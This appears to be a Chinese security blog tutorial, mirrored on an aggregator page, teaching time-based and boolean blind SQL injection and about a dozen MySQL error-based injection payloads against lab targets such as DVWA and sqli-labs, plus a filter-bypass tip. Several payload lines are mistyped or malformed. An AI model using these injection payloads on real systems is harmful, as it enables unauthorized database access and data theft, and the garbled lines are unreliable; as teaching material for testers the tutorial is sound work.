zoukankan      html  css  js  c++  java
  • 渗透之路进阶 -- SQL注入进阶(盲注和报错注入)

    SQL注入之盲注

    实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术

    盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程

    当注入时,没有任何提示的时候,就改用上盲注

    常见函数

    • ascii(str) str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
    • substr(str,start,len) 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
    • mid(str,1,1) 截取字符串
    • length(str) 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
    • count([column]) 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
    • if(condition,a,b) 当condition为true的时候,返回a,当condition为false的时候,返回b。
    • ord() 编码(ascii),将字符转换为ASCII码
    • sleep() 睡眠,用于无回显时,判断延迟

    应用

    在这里插入图片描述

    http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))
    

    若没猜对数据库名,则会延迟

    在这里插入图片描述

    综合应用

    # 用字符验证
    union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from 
    information_schema.tables where table_schema=database() limit 0,1
    
    # 用ASCII验证
    union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from 
    information_schema.tables where table_schema=database() limit 0,1
    
    # sql注入靶场的第五关
    /Less-5/?id=1' and (select length(database())>1) and '1'='1    返回true
    /Less-5/?id=1' and (select length(database())>10) and '1'='1    返回false
    

    猜列名类似

    盲注实际上就是一个逐步猜解的过程

    参考文章:https://www.freebuf.com/articles/web/175049.html

    SQL注入之报错注入

    报错注入实际上应该算是盲注中的一种,因为实战中用到的也特别多,就单独写一篇

    共有大约12中报错注入类型

    通过floor报错

    and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    通过ExtractValue报错

    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    通过UpdateXml报错

    and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

    通过NAME_CONST报错

    and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

    通过join报错

    select * from(select * from mysql.user ajoin mysql.user b)c;

    通过exp报错

    and exp(~(select * from (select user () ) a) );

    通过GeometryCollection()报错

    and GeometryCollection(()select *from(select user () )a)b );

    通过polygon ()报错

    and polygon (()select * from(select user ())a)b );

    通过multipoint ()报错

    and multipoint (()select * from(select user() )a)b );

    通过multlinestring ()报错

    and multlinestring (()select * from(selectuser () )a)b );

    通过multpolygon ()报错

    and multpolygon (()select * from(selectuser () )a)b );

    通过linestring ()报错

    and linestring (()select * from(select user() )a)b );

    SQL注入一点小技巧

    = 被过滤时,用 regexp 来代替 = ,用 <> 代替 !=

  • 相关阅读:
    socket 网络编程
    错误与异常
    正则与计算器
    正则爬虫案例
    面向对象
    模块与包
    常用模块-----configparser & subprocess
    正则表达式&re模块
    常用模块---sys&logging&序列化模块(json&pickle)
    常用模块----time&random&hushlib&os
  • 原文地址:https://www.cnblogs.com/r0ckysec/p/11477306.html
Copyright © 2011-2022 走看看